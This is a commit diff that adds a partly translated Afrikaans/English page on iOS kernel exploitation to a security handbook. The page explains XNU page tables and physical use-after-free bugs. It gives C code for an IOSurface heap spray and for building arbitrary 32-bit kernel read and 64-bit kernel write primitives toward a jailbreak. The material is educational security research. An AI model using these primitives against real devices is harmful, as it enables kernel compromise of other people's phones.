Translated ['binary-exploitation/ios-exploiting.md'] to af

This commit is contained in:
Translator 2024-11-05 18:40:11 +00:00
parent 06b2aa014f
commit ac94c62c6b
2 changed files with 204 additions and 0 deletions

View file

@ -778,6 +778,7 @@
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
## 🔩 Reversing

View file

@ -0,0 +1,203 @@
# iOS Exploiting
## Fisiese gebruik-na-vry
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Geheuebestuur in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtuele geheue-adresruimte** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **bladsy tabelle** to translate virtual addresses into actual **fisiese adresse**.
#### Vlakke van Bladsy Tabels in iOS
Bladsy tabelle is hiërargies georganiseer in drie vlakke:
1. **L1 Bladsy Tabel (Vlak 1)**:
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
2. **L2 Bladsy Tabel (Vlak 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
3. **L3 Bladsy Tabel (Vlak 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
#### Kaarting Virtuele na Fisiese Geheue
* **Direkte Kaarting (Blok Kaarting)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* **Wysiger na Kind Bladsy Tabel**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **kind bladsy tabel** at the next level (e.g., L2).
#### Voorbeeld: Kaarting 'n Virtuele Adres
Lets say you try to access the virtual address **0x1000000000**:
1. **L1 Tabel**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
2. **L2 Tabel**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
3. **L3 Tabel**:
* The kernel looks up the final L3 entry, which points to the **fisiese adres** of the actual memory page.
#### Voorbeeld van Adres Kaarting
If you write the physical address **0x800004000** into the first index of the L2 table, then:
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
* This is a **blok kaarting** at the L2 level.
Alternatively, if the L2 entry points to an L3 table:
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
### Fisiese gebruik-na-vry
A **fisiese gebruik-na-vry** (UAF) occurs when:
1. A process **alloceer** some memory as **leesbaar en skryfbaar**.
2. The **bladsy tabelle** are updated to map this memory to a specific physical address that the process can access.
3. The process **dealloceer** (vry) the memory.
4. However, due to a **fout**, the kernel **vergeet om die kaarting** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **heralloceer this "vrygestel" fisiese geheue** for other purposes, like **kernel data**.
6. Since the mapping wasnt removed, the process can still **lees en skryf** to this physical memory.
This means the process can access **bladsye van kernel geheue**, which could contain sensitive data or structures, potentially allowing an attacker to **manipuleer kernel geheue**.
### Eksploitasiestategie: Heap Spray
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
1. The attacker **skep 'n groot aantal IOSurface-objekte** in kernel geheue.
2. Each IOSurface object contains a **magiese waarde** in one of its fields, making it easy to identify.
3. They **skandeer die vrygestelde bladsye** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **lees en skryf kernel geheue**.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Stap-vir-Stap Heap Spray Proses
1. **Spray IOSurface-objekte**: The attacker creates many IOSurface objects with a special identifier ("magiese waarde").
2. **Skandeer Vrygestelde Bladsye**: They check if any of the objects have been allocated on a freed page.
3. **Lees/Skryf Kernel Geheue**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitraire lees en skrywe** in kernel geheue. This lets them:
* Use one field to **lees enige 32-bit waarde** in kernel geheue.
* Use another field to **skryf 64-bit waardes**, achieving a stable **kernel lees/skryf primitief**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Soek na **`IOSurface`**-objekte in een vrygemaakte fisiese bladsy:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Bereik Kernel Lees/Skryf met IOSurface
Na die verkryging van beheer oor 'n IOSurface objek in kernel geheue (gemap na 'n vrygestelde fisiese bladsy wat vanaf gebruikersruimte toeganklik is), kan ons dit gebruik vir **arbitraire kernel lees en skryf operasies**.
**Belangrike Velde in IOSurface**
Die IOSurface objek het twee belangrike velde:
1. **Gebruik Tel Punter**: Laat 'n **32-bis lees** toe.
2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bis skryf** toe.
Deur hierdie punters te oorskryf, herlei ons hulle na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
#### 32-Bit Kernel Lees
Om 'n lees uit te voer:
1. Oorskryf die **gebruik tel punter** om na die teikenadres minus 'n 0x14-byt offset te wys.
2. Gebruik die `get_use_count` metode om die waarde by daardie adres te lees.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Skryf
Om 'n skryf te doen:
1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres.
2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
2. **Spray IOSurface Objects**: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in die kerngeheue.
3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.
4. **Abuse Use-After-Free**: Wysig wysers in die IOSurface-objek om arbitrêre **kernel read/write** via IOSurface-metodes moontlik te maak.
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).